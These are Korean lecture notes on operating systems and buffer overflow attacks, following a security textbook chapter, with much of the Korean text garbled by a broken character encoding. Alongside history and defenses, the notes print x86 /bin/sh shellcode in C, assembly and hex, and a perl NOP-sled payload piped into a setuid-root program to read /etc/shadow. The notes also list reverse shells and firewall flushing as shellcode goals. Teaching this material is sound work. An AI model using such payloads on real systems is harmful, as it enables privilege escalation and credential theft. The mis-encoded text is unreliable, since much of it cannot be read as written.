09. Buffer Overflow
OS Overview
Operating System
- Multiprogrammingė íĻėĻėąė ėíī íėíĻ.
- ëĻėž ėŽėĐėë CPUė I/O ėĨėđëĨž íė ë°ėęē ė ė§í ė ėė.
- Multiprogrammingė CPUę° íė ėĪíí ėė ė ę°ëëĄ ėė (ė―ë ë° ë°ėīí°)ė ęĩŽėą
- ėėĪí ė ė ėēī ėė ėĪ ėžëķ(subset)ë ëĐëŠĻëĶŽė ė ė§ëĻ.
- íëė ėė ėī ė íëėī job schedulingė íĩíī ėĪíëĻ.
- ėė ėī ëęļ°íīėž í ë(ė: I/O ëęļ°), OSë ëĪëĨļ ėė ėžëĄ ė ííĻ.
- Timesharing(multitasking)ė ėŽėĐėę° ėĪí ėĪėļ ę° ėė
ęģž ėíļ ėėĐí ė ėëëĄ CPUę° ėė
ė ë§Īė° ėėĢž ė ííë ë
žëĶŽė íėĨė.
- ëíí(interactive) ėŧīíĻí ė ėėąíĻ.
- ėëĩ ėę°ė ėķĐëķí ė§§ėėž íĻ.
- ę° ėŽėĐėë ëĐëŠĻëĶŽėė ėĪí ėĪėļ ėĩė íëė íëĄę·ļëĻė ę°ė§ process
- ėŽëŽ ėė ėī ëėė ėĪí ėĪëđę° ë ęē―ė° CPU scheduling
- ProcessëĪėī ëĐëŠĻëĶŽė ë§ė§ ėë ęē―ė°, swappingė íĩíī ėĪíė ėíī ëĢęģ ëš
- ëĐëŠĻëĶŽė ėė í ė ėŽëė§ ėė processė ėĪíė íėĐíë virtual memory
Operating System Operations
- Dual-mode operationė OSę° ėė ęģž ëĪëĨļ ėėĪí
ęĩŽėą ėėëĨž ëģīíļí ė ėęē íĻ.
- User modeė kernel mode
- íëėĻėīė ėíī ė ęģĩëë mode bit
- ėėĪí ėī user codeëĨž ėĪí ėĪėļė§ kernel codeëĨž ėĪí ėĪėļė§ ęĩŽëģíë ęļ°ëĨė ė ęģĩíĻ.
- ėžëķ ëŠ ë đėīë íđęķ(privileged) ëŠ ë đėīëĄ ė§ė ëėī kernel modeėėë§ ėĪí ę°ëĨíĻ.
- System callė ëŠĻëëĨž kernelëĄ ëģęē―íęģ , íļėķėė ë°íë ë userëĄ ėŽėĪė íĻ.
Process Management
- Process
- ėĪí ėĪėļ íëĄę·ļëĻ
- ėėĪí ëī ėė ė ëĻė
- íëĄę·ļëĻė ėëė (passive) ę°ėēīėīëа, processë ëĨëė (active) ę°ėēīė.
- Processë ėė
ė ėííęļ° ėíī ëĶŽėėĪę° íėíĻ.
- CPU, ëĐëŠĻëĶŽ, I/O, file
- ėīęļ°í ë°ėīí°
- Process ėĒ ëĢ ė ėŽėŽėĐ ę°ëĨí ëĶŽėėĪė íėę° íėíĻ.
- Single-threaded processë ėĪíí ëĪė ëŠ ë đėīė ėėđëĨž ė§ė íë íëė program counterëĨž ę°ė§.
- Multi-threaded processë threadëđ íëė program counterëĨž ę°ė§.
Memory Management
- ėēëĶŽ ė íė ëŠĻë ë°ėīí°ë ëĐëŠĻëĶŽė ėė.
- ėĪííęļ° ėí ëŠĻë ëŠ ë đėīë ëĐëŠĻëĶŽė ėė.
- Memory managementë ėļė ëŽīėė ëĐëŠĻëĶŽė ëė§ ęē°ė íĻ.
- CPU utilizationęģž ėŽėĐėė ëí ėëĩ ėę°ė ėĩė ííĻ.
- Memory management íë
- íėŽ ëĐëŠĻëĶŽė ėīë ëķëķėī ėŽėĐëęģ ėėžëа ëęĩŽė ėíī ėŽėĐëëė§ ėķė íĻ.
- ėīëĪ process(ëë ę·ļ ėžëķ)ė ë°ėīí°ëĨž ëĐëŠĻëĶŽëĄ ėīëėíĪęģ ëīëģīëžė§ ęē°ė íĻ.
- íėė ë°ëž ëĐëŠĻëĶŽ ęģĩę°ė í ëđ(allocating)íęģ íīė (deallocating)íĻ.
Storage Management
- OSë ė ëģī ė ėĨėė ëí ę· ėžíęģ ë
žëĶŽė ėļ ë·°(view)ëĨž ė ęģĩíĻ.
- 뎞ëĶŽė ėėąė ë žëĶŽė ė ėĨ ëĻėėļ fileëĄ ėķėííĻ.
- ę° ë§Īėēīë ėĨėđ(ė: disk drive, tape drive)ė ėíī ė ėīëĻ.
- ę°ëģė ėļ ėėąėë ė ę·ž ėë, ėĐë, ë°ėīí° ė ėĄ ėë, ė ę·ž ë°Đëē(ėė°Ļ ëë ëŽīėė)ėī íŽíĻëĻ.
- File-System management
- FileëĪė ėžë°ė ėžëĄ directoryëĪëĄ ęĩŽėąëĻ.
- ëę° ëŽīėė ė ę·ží ė ėëė§ ęē°ė íęļ° ėíī ëëķëķė ėėĪí ėė access controlė ėííĻ.
- OS íëė íŽíĻëë ęēëĪ
- File ë° directory ėėąęģž ėė
- File ë° directoryëĨž ėĄ°ėíęļ° ėí primitives
- Fileė ëģīėĄ° ė ėĨė(secondary storage)ė ë§Īí
- ėė ė ėļ(ëđíë°ėą) ė ėĨ ë§Īėēīė file ë°ąė
A View of Operating System Services

System Calls
- OSę° ė ęģĩíë ėëđėĪė ëí íëĄę·ļëë° ėļí°íėīėĪ
- ėžë°ė ėžëĄ ęģ ėėĪ ėļėī(C ëë C++)ëĄ ėėąëĻ.
- ëëķëķ ė§ė ė ėļ system call ėŽėĐëģīëĪë ęģ ėėĪ Application Program Interface(API)ëĨž íĩíī íëĄę·ļëĻė ėíī ė ę·žëĻ.
open(): system callfopen(): API(C ėļėī ëžėīëļëŽëĶŽ)
- ę°ėĨ ėžë°ė ėļ ėļ ę°ė§ API
- WindowsėĐ Win32 API
- POSIX ęļ°ë° ėėĪí (UNIX, Linux, Mac OS X)ėĐ POSIX API
- Java virtual machine(JVM)ėĐ Java API
- System call ëė APIëĨž ėŽėĐíë ėīė ?
- ėīėėą(Portability)
- ėŽėĐ íļėėą(Ease of use)
System Call Implementation
- ėžë°ė ėžëĄ ę° system callėë ëēíļę° ė°ęīëĻ.
- System-call interfaceë ėī ëēíļė ë°ëž ėėļíë í ėīëļė ė ė§íĻ.
- System call interfaceë OS kernelėė ėëë system callė íļėķíęģ system callė ėíė ë°í ę°ė ë°ííĻ.
- íļėķė(caller)ë system callėī ėīëŧęē ęĩŽíëėëė§ ė íėę° ėė.
- APIëĨž ėĪėíęģ OSę° ęē°ęģžė ėžëĄ ëŽīėė í ė§ ėīíīíęļ°ë§ íëĐī ëĻ.
- OS ėļí°íėīėĪė ëëķëķė ėļëķ ėŽíė APIė ėíī íëĄę·ļëëĻļëĄëķí° ėĻęēĻė§.
API â System Call â OS Relationship
â â
ââââ user application âââââ
â ââââââââââââââââââââââââ â
â â
user âž open() â
mode ââââââââââââââââââââââââââââââââââââââīâââââ
ââââââââĪ system call interface âââââââ
kernel âââŽââââââââââââââââââââââââââââââââââââââââ
mode â âē
â âââââ â
â â . â â
âââšâ . â open() â
â . â Implementation â
âââââĪ of open() â
i âââââžâââââââââââš system call â
â . â . â
â . â . â
â . â . â
âââââ return ââââââââââ
- System callė ė§ė ėŽėĐíĻ.
Standard C Library Example
â#include <stdio.h> â
âint main() â
â{ â
â . â
â . â
ââžââ printf("Greetings");ââ
ââ . ââ
ââ . ââ
ââ return 0; ââ
ââ} ââ
ââââââââââââââââââââââââââââ
userâ â
modeâââââšââââââââââââââââââââŽâââ
ââââââââââĪstandard C libraryâââââââââ
kernel ââīâââââââââââââââââââââ
mode â â
âwrite() â
â ââââââââââââââââââ â
âââžâš write() âžâââ
â system call â
write()system callė íļėķíëprintf()ëžėīëļëŽëĶŽ íļėķė ėííë C íëĄę·ļëĻ
Examples of Windows and Unix System Calls
Buffer Overflow
- ë§Īė° ėžë°ė ėļ ęģĩęēĐ ëĐėŧĪëėĶ
- 1988ë Morris Wormė ėíī ėēė ëëĶŽ ėŽėĐëĻ.
- ėë°Đ ęļ°ė ėī ėë Īė ļ ėė.
- ėŽė í ėĢžė ė°ë Ī ėŽíė.
- ëëĶŽ ë°°íŽë ėīė ėēīė ë° ė íëĶŽėžėīė ė ėë ëēę·ļę° ë§ė ė―ëė ė ė°
- íëĄę·ļëëĻļëĪė ė§ėė ėļ ëķėĢžėí íëĄę·ļëë° ęīí
Brief History of Buffer Overflow Attacks
| ė°ë | ëīėĐ |
|---|---|
1988 | Morris Internet Wormė ęģĩęēĐ ëĐėŧĪëėĶ ėĪ íëëĄ "fingerd"ėė buffer overflow exploitė ėŽėĐíĻ. |
1995 | Thomas Lopaticė ėíī NCSA httpd 1.3ėė buffer overflowę° ë°ęēŽëėī Bugtraq ëĐėžë§ ëĶŽėĪíļė ęēėëĻ. |
1996 | Aleph Oneė Phrack ë§Īęą°ė§ė "Smashing the Stack for Fun and Profit"ė ėķííėŽ stack ęļ°ë° buffer overflow ė·Ļė―ė ė ė ėĐíë ëĻęģëģ ė§ėđĻė ė ęģĩíĻ. |
2001 | Code Red wormė Microsoft IIS 5.0ėė buffer overflowëĨž ė ėĐíĻ. |
2003 | Slammer wormė Microsoft SQL Server 2000ėė buffer overflowëĨž ė ėĐíĻ. |
2004 | Sasser wormė Microsoft Windows 2000/XP Local Security Authority Subsystem Service (LSASS)ėė buffer overflowëĨž ė ėĐíĻ. |
Buffer Overflow/Buffer Overrun
- Buffer overflow ëë buffer overrunė NISTė ėĢžė ė ëģī ëģīė ėĐėī ėŽė ėė ëĪėęģž ę°ėī ė ėëĻ
- "í ëđë ėĐëëģīëĪ ë ë§ė ė ë Ĩėī buffer ëë ë°ėīí° ė ėĨ ėėė ë°°ėđëėī, ëĪëĨļ ė ëģīëĨž ëŪėīė°ë ėļí°íėīėĪė ėí. ęģĩęēĐėë ėīëŽí ėíëĨž ė ėĐíėŽ ėėĪí ė ėķĐëėíĪęą°ë, ėėĪí ė ė ėīęķė ėŧė ė ėë íđėíęē ė ėë ė―ëëĨž ė―ė íĻ."
Buffer Overflow Basics
- Processę° ęģ ė ë íŽęļ°ė buffer ė íė ëėī ë°ėīí°ëĨž ė ėĨíë Īęģ ėëí ë ë°ėíë íëĄę·ļëë° ėĪëĨ
- ėļė í ëĐëŠĻëĶŽ ėėđëĨž ëŪėīė
- ėėđėë ëĪëĨļ íëĄę·ļëĻ ëģė, íëžëŊļí° ëë íëĄę·ļëĻ ė ėī íëĶ ë°ėīí°ę° íŽíĻë ė ėė.
- Bufferë processė stack, heap ëë ë°ėīí° ėđė ė ėėđí ė ėė.
- ęē°ęģž
- íëĄę·ļëĻ ë°ėīí°ė ėė
- ėėėđ ëŠŧí ė ėī ė ėĄ
- ëĐëŠĻëĶŽ ė ę·ž ėë°
- ęģĩęēĐėę° ė íí ė―ëė ėĪí
Basic Buffer Overflow Example
Figure 10.1 Basic Buffer Overflow Example
Basic Buffer Overflow Stack Values
Memory Before After Contains
Address gets(str2) gets(str2) Value of
â â â â
. . . . â . . . . . . â â . . . . . . â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbf4 â 34fcffbf â â 34fcffbf â argv
â 4 . . . â â 3 . . . â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbf0 â 01000000 â â 01000000 â argc
â . . . . â â . . . . â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbec â c6bd0340 â â c6bd0340 â return addr
â . . . @ â â . . . @ â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbe8 â 08fcffbf â â 08fcffbf â old base ptr
â . . . . â â . . . . â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbe4 â 00000000 â â 01000000 â valid
â . . . . â â . . . . â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbe0 â 80640140 â â 00640140 â
â . d . @ â â . d . @ â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbdc â 54001540 â â 4e505554 â str1[4-7]
â T . . @ â â N P U T â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbd8 â 53544152 â â 42414449 â str1[0-3]
â S T A R â â B A D I â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbd4 â 00850408 â â 4e505554 â str2[4-7]
â . . . . â â N P U T â
ââââââââââââââââââĪ ââââââââââââââââââĪ
bffffbd0 â 30561540 â â 42414449 â str2[0-3]
â 0 V . @ â â B A D I â
ââââââââââââââââââĪ ââââââââââââââââââĪ
. . . . â . . . . . . â â . . . . . . â
â â â â
Figure 10.2 Basic Buffer Overflow Stack Values
Buffer Overflow Attacks
- Buffer overflowëĨž ė
ėĐíęļ° ėíī ęģĩęēĐėę° íėí ęē
- ęģĩęēĐėė ė ėī íė ėļëķėė ęģĩęļë ë°ėīí°ëĨž ėŽėĐíėŽ íļëĶŽęą°í ė ėë íëĄę·ļëĻ ëīė buffer overflow ė·Ļė―ė ė ėëģíë ęē
- íīëđ bufferę° ëĐëŠĻëĶŽė ėīëŧęē ė ėĨëëė§ ėīíīíęģ ėė ę°ëĨėąė ęē°ė íë ęē
- ė·Ļė―í íëĄę·ļëĻ ėëģ ë°Đëē
- íëĄę·ļëĻ ėėĪ ęēėŽ(inspection)
- íëĄę·ļëĻėī íŽęļ°ę° ėīęģžë ė ë Ĩė ėēëĶŽí ë íëĄę·ļëĻ ėĪíė ėķė (tracing)
- ė ėŽė ėžëĄ ė·Ļė―í íëĄę·ļëĻė ėëėžëĄ ėëģíęļ° ėíī fuzzingęģž ę°ė ëęĩŽ ėŽėĐ
Programming Language History

- ęļ°ęģ ėėĪėė ėŧīíĻí° íëĄėļėė ėíī ėĪíëë ęļ°ęģ ëŠ ë đėīė ėíī ėĄ°ėëë ë°ėīí°ë íëĄėļėė registerë ëĐëŠĻëĶŽė ė ėĨëĻ.
- ėīė ëļëĶŽ ėļėī íëĄę·ļëëĻļë ė ėĨë ëŠĻë ë°ėīí° ę°ė ėŽë°ëĨļ íīėė ëí ėą ėėī ėė.
- íëė ęģ ėėĪ ėļėī
- íė (type)ęģž ė íĻí ė°ė°ė ëí ę°ë Ĩí ę°ë ė ę°ė§.
- Buffer overflowė ė·Ļė―íė§ ėė.
- ėĪëēíĪëę° ë°ėíëа ėŽėĐė ėžëķ ė íėī ėė.
- C ë° ęīë Ļ ėļėī
- ęģ ėėĪ ė ėī ęĩŽėĄ°ëĨž ę°ė§ë§ ëĐëŠĻëĶŽė ëí ė§ė ė ę·žė íėĐíĻ.
- ë°ëžė buffer overflowė ė·Ļė―íĻ.
- ëëĶŽ ėŽėĐëęģ , ėė íė§ ėėžëа, ë°ëžė ė·Ļė―í ė―ëė ęą°ëí ė ė°ė ę°ė§.
Stack Buffer Overflows
- Bufferę° stackė ėėđí ë ë°ėíĻ.
- Stack smashingėīëžęģ ë íĻ.
- Morris Wormė ėíī ėŽėĐëĻ.
- ė ėĐ(exploits)ėë íėļëė§ ėė buffer overflowę° íŽíĻëĻ.
- ėŽė í ëëĶŽ ė ėĐëęģ ėė.
- Stack frame
- í íĻėę° ëĪëĨļ íĻėëĨž íļėķí ë ë°í ėĢžė(return address)ëĨž ė ėĨí ęģģėī íėíĻ.
- ëí íļėķë íĻėëĄ ė ëŽë íëžëŊļí°ëĨž ė ėĨíęģ ë ė§ėĪí° ę°ė ė ėĨí ėėđę° íėí ė ėė.
Stack Frame with Functions P and Q
ââââââââââââââââââââ
P:â Return Addr â
ââââââââââââââââââââĪ
â Old Frame Pointerâââââ
ââââââââââââââââââââĪ â
â param 2 â â
ââââââââââââââââââââĪ â
â param 1 â âFrame
ââââââââââââââââââââĪ âPointer
Q:â Return Addr in P â â
ââââââââââââââââââââĪ â
â Old Frame Pointerâââââ
ââââââââââââââââââââĪ
â local 1 â
ââââââââââââââââââââĪ
â local 2 âââââStack
âââââââââââŽâââââââââĪ Pointer
â âž â
Figure 10.3 Example Stack Frame with Functions P and Q
Programs and Processes
Process image in
main memory
âââââââââââââââââââââââââââââââââââ
â Kernel Code and Data â Top of Memory
ââââââââââââââââââââââââââĪ
â Stack â
â â â
â âž â
ââââââââââââââââââââââââââĪ
â Spare Memory â
ââââââââââââââââââââââââââĪ
â âē â
â â â
Program File â Heap â
âââââââââââââââââ---ââšââââââââââââââââââââââââââĪ
â Global Data â â Global Data â
âââââââââââââââââĪ---ââšââââââââââââââââââââââââââĪ
â Program â â Program â
â Machine Code â â Machine Code â
âââââââââââââââââ---ââšââââââââââââââââââââââââââĪ
â Process Control Block â Bottom of Memory
âââââââââââââââââââââââââââââââââââ
Figure 10.4 Program Loading into Process Memory
Memory Before After Contains
Address gets(inp) gets(inp) Value of
. . . â . . . . ââ . . . . â
â ââ â
ââââââââââââââââĪââââââââââââââââĪ
bffffbe0 â 3e850408 ââ 00850408 â tag
â > . . . ââ . . . . â
ââââââââââââââââĪââââââââââââââââĪ
bffffbdc â f0830408 ââ 94830408 â return addr
â . . . . ââ . . . . â
ââââââââââââââââĪââââââââââââââââĪ
bffffbd8 â e8fbffbf ââ e8ffffbf â old base ptr
â . . . . ââ . . . . â
ââââââââââââââââĪââââââââââââââââĪ
bffffbd4 â 60840408 ââ 65666768 â
â ` . . . ââ e f g h â
ââââââââââââââââĪââââââââââââââââĪ
bffffbd0 â 30561540 ââ 61626364 â
â 0 V . @ ââ a b c d â
ââââââââââââââââĪââââââââââââââââĪ
bffffbcc â 1b840408 ââ 55565758 â inp[12-15]
â ââ U V W X â
ââââââââââââââââĪââââââââââââââââĪ
bffffbc8 â e8fbffbf ââ 51525354 â inp[8-11]
â ââ Q R S T â
ââââââââââââââââĪââââââââââââââââĪ
bffffbc4 â 3cfcffbf ââ 45464748 â inp[4-7]
â < . . . ââ E F G H â
ââââââââââââââââĪââââââââââââââââĪ
bffffbc0 â 34fcffbf ââ 41424344 â inp[0-3]
â 4 . . . ââ A B C D â
ââââââââââââââââĪââââââââââââââââĪ
â ââ â
. . . â . . . . ââ . . . . â
Figure 10.6 Basic Stack Overflow Stack Values
Stack Overflow Example
(a) Another stack overflow C code
void getinp(char *inp, int siz)
{
puts("Input value");
fgets(inp, siz, stdin);
printf("buffer3 getinp read %s\n", inp);
}
void display(char *val)
{
char tmp[16];
sprintf(tmp, "read val: %s\n", val);
puts(tmp);
}
int main(int argc, char *argv[])
{
char buf[16];
getinp(buf, sizeof(buf));
display(buf);
printf("buffer3 done\n");
}
(b) Another stack overflow example runs
$ cc -o buffer3 buffer3.c
$ ./buffer3
Input value
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done
$ ./buffer3
Input value
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 done
Segmentation fault (core dumped)
Figure 10.7 Another Stack Overflow Example
Common Unsafe C Standard Library Routines
| Function | Description |
|---|---|
gets(char *str) | Read line from standard input into str |
sprintf(char *str, char *format, ...) | Create str according to supplied format and variables |
strcat(char *dest, char *src) | Append contents of string src to string dest |
strcpy(char *dest, char *src) | Copy contents of string src to string dest |
vsprintf(char *str, char *fmt, va_list ap) | Create str according to supplied format and variables |
Table 10.2 Some Common Unsafe C Standard Library Routines
Shellcode
- ęģĩęēĐėę° ė ęģĩí ė―ë
- ėĒ ėĒ overflowëë bufferė ė ėĨëĻ.
- ė íĩė ėžëĄ ėŽėĐė ëŠ ë đėĪ ėļí°íëĶŽí°(shell)ëĄ ė ėīëĨž ė ėĄíė.
- ęļ°ęģėī ė―ë(Machine code)
- íëĄėļė ë° ėīė ėēīė ė ęģ ė íĻ.
- ė íĩė ėžëĄ ėėąíęļ° ėíī ėĒė ėīė ëļëĶŽ ėļėī ęļ°ė ėī íėíė.
- ėĩę·žėë ėī ęģžė ė ėëííë ëĪėė ėŽėīíļė ëęĩŽę° ę°ë°ëĻ.
- Metasploit Project
- ėđĻíŽ(penetration), IDS ėę·ļëėē ę°ë° ë° exploit ė°ęĩŽëĨž ėííë ėŽëëĪėęē ė ėĐí ė ëģīëĨž ė ęģĩíĻ.
Example Shellcode
(a) Desired shellcode code in C
int main(int argc, char *argv[])
{
char *sh;
char *args[2];
sh = "/bin/sh";
args[0] = sh;
args[1] = NULL;
execve(sh, args, NULL);
}
(b) Equivalent position-independent x86 assembly code
nop // end of nop sled
nop
jmp find // jump to end of code
cont:
pop %esi // pop address of sh off stack into esi
xor %eax,%eax // zero contents of EAX
mov %al,0x7(%esi) // copy zero byte to end of string sh (%esi)
mov %esi,0x8(%esi) // save address of sh in args[0] (%esi+8)
mov %eax,0xc(%esi) // copy zero to args[1] (which will be NULL)
mov %al,%ebx // copy address of sh (esi) to ebx
lea 0x8(%esi),%ecx // copy address of args (esi+8) to ecx
lea 0xc(%esi),%edx // copy address of args[1] (esi+c) to edx
int `0x80 // software interrupt to execute syscall
find:
call cont // call cont which saves next address on stack
sh:
.string "/bin/sh "
args:
.long 0 // space used for args array
.long 0 // args[1] and also NULL for env array
(c) Hexadecimal values for compiled x86 machine code
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89
46 08 89 46 0c 8d 56 0c 8d 4e 08 b0 0b
ff d0 ff 2f 62 69 6e 2f 73 68 20 20 20
Figure 10.8 Example UNIX Shellcode
Table 10.3 Common x86 Assembly Language Instructions
| ëŠ ë đėī (Mnemonic) | ėĪëŠ (Description) |
|---|---|
MOV src, dest | srcė ę°ė destëĄ ëģĩėŽ(ėīë) |
LEA src, dest | srcė ėĢžė(ė íĻ ėĢžė ëĄë)ëĨž destëĄ ëģĩėŽ |
ADD / SUB src, dest | srcė ę°ė destė ëíęą°ë ëđžė ęē°ęģžëĨž destė ëĻęđ |
AND / OR / XOR src, dest | srcė dest ę°ė ë
žëĶŽ AND / OR / XOR ė°ė°ė ėííęģ ęē°ęģžëĨž destė ëĻęđ |
CMP val1, val2 | val1ęģž val2ëĨž ëđęĩíęģ , ęē°ęģžëĄ CPU flagëĪė ėĪė |
JMP / JZ / JNZ addr | addrëĄ ė í / 0ėīëĐī ė í / 0ėī ėëëĐī ė í |
PUSH src | srcė ę°ė stackė push |
POP dest | stack ėĩėëĻė ę°ė destëĄ pop |
CALL addr | addrė ėėđí íĻė íļėķ |
LEAVE | íĻėëĨž ë ëęļ° ė ė stack frame ė ëĶŽ |
RET | íĻėëĄëķí° ë°í |
INT num | Operating system íĻėė ė ę·žíęļ° ėí ėííļėĻėī interrupt |
NOP | ė°ė° ėė ëë ėëŽīęēë íė§ ėë ëŠ ë đėī |
Table 10.4 x86 Registers
| 32bit | 16bit | 8bit (high) | 8bit (low) | ėĐë |
|---|---|---|---|---|
%eax | %ax | %ah | %al | ė°ė ë° I/O ė°ė°ęģž interrupt íļėķ ėĪíė ėŽėĐëë accumulator |
%ebx | %bx | %bh | %bl | ëĐëŠĻëĶŽ ė ę·ž, system call ėļė ë° ë°í ę° ė ëŽė ėŽėĐëë base register |
%ecx | %cx | %ch | %cl | Counter register |
%edx | %dx | %dh | %dl | ė°ė ė°ė°, interrupt íļėķ ë° I/O ė°ė°ė ėŽėĐëë data register |
%ebp | íėŽ stack frameė ėĢžėëĨž íŽíĻíë base pointer | |||
%eip | ėĪíí ëĪė ëŠ ë đėīė ėĢžėëĨž íŽíĻíë instruction pointer ëë program counter | |||
%esi | ëŽļėėī ëë ë°°ėī ė°ė°ė íŽėļí°ëĄ ėŽėĐëë source index register | |||
%esp | Stackė ėĩėė ėĢžėëĨž íŽíĻíë stack pointer |
$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"909090e5a513c0884767d1e895e089" .
"460c0b89b83d84e8d85c5d5cd8e8e" .
"fffff6269e627a938f1fbe5e0bffb0" .
"20202020203838cffbfc0fbffbfa0");
print "whoami\n";
print "cat /etc/shadow\n";'
$ attack1 | buffer4
Enter value for name: Hello your yyyDAOApy is e?^1AFF.../bin/sh...
root: $1$rNLd4tX7$YxSna7JxH7.4JU7T419JRLrk1:13346:0:99999:7::
daemon:*:11453:0:99999:7::
...
nobody:*:11453:0:99999:7::
knoppix:$1$FVzSzkBU$EdSvudJkCH8Y0vIAtdnAV/:13346:0:99999:7::
Figure 10.9 Example Stack Overflow Attack
Stack Overflow Variants
ââââââââââââââââââââââââââââ âââââââââââââââââââââââââââââ
â target program can be: â â shellcode functions â
âââââââââââââââŽâââââââââââââ âââââââââââââââŽââââââââââââââ
â â
âââââââââââââââââžâââââââââââââââ âââââââââââââââââžâââââââââââââââââ
â ââââââââââââââââââââââââââââ â â ââââââââââââââââââââââââââââââ â
â â a trusted system utility â â â â launch a remote shell when â â
â ââââââââââââââââââââââââââââ â â â connected to â â
â ââââââââââââââââââââââââââââ â â ââââââââââââââââââââââââââââââĪ â
â â network service daemon â â â â create a reverse shell â â
â ââââââââââââââââââââââââââââ â â â that connects back to the â â
â ââââââââââââââââââââââââââââ â â â hacker â â
â â commonly used library â â â ââââââââââââââââââââââââââââââĪ â
â â code â â â â use local exploits that â â
â ââââââââââââââââââââââââââââ â â â establish a shell â â
ââââââââââââââââââââââââââââââââ â ââââââââââââââââââââââââââââââĪ â
â â flush firewall rules that â â
â â currently block other â â
â â attacks â â
â ââââââââââââââââââââââââââââââĪ â
â â break out of a chroot â â
â â (restricted execution) â â
â â environment, giving full â â
â â access to the system â â
â ââââââââââââââââââââââââââââââ â
ââââââââââââââââââââââââââââââââââ
Buffer Overflow Defenses
ââââââââââââââââââââââ
â two broad â
â defense approaches â
âââââââââââŽâââââââââââ
ââââââââââīâââââââââââ
ââââââââīââââââââ ââââââīââââââ
â compile-time â â run-time â
ââââââââŽââââââââ ââââââŽââââââ
ââââââââââīââââââââââ âââââââââīââââââââââââ
â aim to harden â â aim to detect and â
âprograms to resistâ â abort attacks in â
â attacks in new â â existing programs â
â programs â âââââââââââââââââââââ
ââââââââââââââââââââ
- Buffer overflowë ëëĶŽ ė ėĐëĻ.
- ë ę°ė§ ęīëēėí ë°Đėī ė ę·ž ë°Đė
- Compile-time: ė íëĄę·ļëĻėė ęģĩęēĐė ė ííëëĄ íëĄę·ļëĻė ę°ííë ęēė ëŠĐíëĄ íĻ.
- Run-time: ęļ°ėĄī íëĄę·ļëĻėė ęģĩęēĐė íė§íęģ ėĪëĻíë ęēė ëŠĐíëĄ íĻ.
Compile-Time Defenses: Programming Language
- íëė ęģ ėėĪ ėļėī ėŽėĐ
- Buffer overflow ęģĩęēĐė ė·Ļė―íė§ ėė.
- ėŧīíėžëŽę° ëģėė ëí ëēė ęēėŽ(range checks) ë° íėĐ ę°ëĨí ė°ė°ė ę°ė íĻ.
- ëĻė
- ęēėŽëĨž ëķęģžíęļ° ėíī ėĪí ėę°(run time)ė ėķę° ė―ëę° ėĪíëėīėž íĻ.
- ė ė°ėąęģž ėė ėąė ëĶŽėėĪ ėŽėĐ ëđėĐė ėë°íĻ.
- ęļ°ëģļ ęļ°ęģėī ë° ėíĪí ėēėė ęą°ëĶŽëĄ ėļíī ėžëķ ëŠ ë đėī ë° íëėĻėī ëĶŽėėĪė ëí ė ę·žėī ėėĪëĻ.
- ėīëŽí ëĶŽėėĪė ėíļ ėėĐíīėž íë ėĨėđ ëëžėīëēė ę°ė ė―ë ėėąė ė ėĐėąėī ė íëĻ.
Compile-Time Defenses: Safe Coding Techniques
- C ėĪęģėëĪė íė
ėė ėą(type safety)ëģīëĪ ęģĩę° íĻėĻėąęģž ėąëĨ ęģ ë Ī ėŽíė íĻėŽ ë ėĪė ė ëėė.
- íëĄę·ļëëĻļę° ė―ë ėėą ė ė ė í ėĢžėëĨž ęļ°ėļėž ęēėīëžęģ ę°ė íĻ.
- íëĄę·ļëëĻļë ė―ëëĨž ęēėŽíęģ ėė íė§ ėė ė―ëĐė ëĪė ėėąíīėž íĻ.
- ėīė ëí ėę° OpenBSD íëĄė íļė.
- íëĄę·ļëëĻļëĪė ėīė ėēīė , íėĪ ëžėīëļëŽëĶŽ ë° ęģĩíĩ ė íļëĶŽí°ëĨž íŽíĻí ęļ°ėĄī ė―ë ęļ°ë°ė ę°ėŽ(audit)íė.
- ėīëĄ ėļíī ëëĶŽ ėŽėĐëë ę°ėĨ ėė í ėīė ėēīė ėĪ íëëĄ ëëĶŽ ę°ėĢžëęē ëĻ.
Examples of Unsafe C Code
int copy_buf(char *to, int pos, char *from, int len) {
int i;
for (i = 0; i < len; i++) {
to[pos] = from[i];
pos++;
}
return pos;
}
(a) Unsafe byte copy
short read_chunk(FILE fil, char *to) {
short len;
fread(&len, 2, 1, fil); /* read length of binary data */
fread(to, 1, len, fil); /* read len bytes of binary data */
return len;
}
(b) Unsafe byte input
Figure 10.10 Examples of Unsafe C Code
Compile-Time Defenses: Language Extensions / Safe Libraries
- ëė ėžëĄ í ëđë ëĐëŠĻëĶŽ ėēëĶŽë ėŧīíėž ėę°ė íŽęļ° ė ëģīëĨž ėŽėĐí ė ėėžëŊëĄ ë ëŽļė ę° ëĻ.
- íėĨėī íėíęģ ëžėīëļëŽëĶŽ ëĢĻíīė ėŽėĐėī íėíĻ.
- íëĄę·ļëĻęģž ëžėīëļëŽëĶŽëĨž ëĪė ėŧīíėžíīėž íĻ.
- íėŽ(third-party) ė íëĶŽėžėīė ė ëŽļė ę° ë°ėí ę°ëĨėąėī ėė.
- Cė ė°ë Ī ėŽíė ėė íė§ ėė íėĪ ëžėīëļëŽëĶŽ ëĢĻíīė ėŽėĐė.
- í ę°ė§ ė ę·ž ë°Đėė ėīęēëĪė ë ėė í ëģíėžëĄ ëėēīíë ęēė.
- Libsafeę° ę·ļ ėė.
- ëžėīëļëŽëĶŽë ęļ°ėĄī íėĪ ëžėīëļëŽëĶŽëģīëĪ ëĻžė ëĄëëëëĄ ė ë Žë ëė ëžėīëļëŽëĶŽëĄ ęĩŽíëĻ.
Compile-Time Defenses: Stack Protection
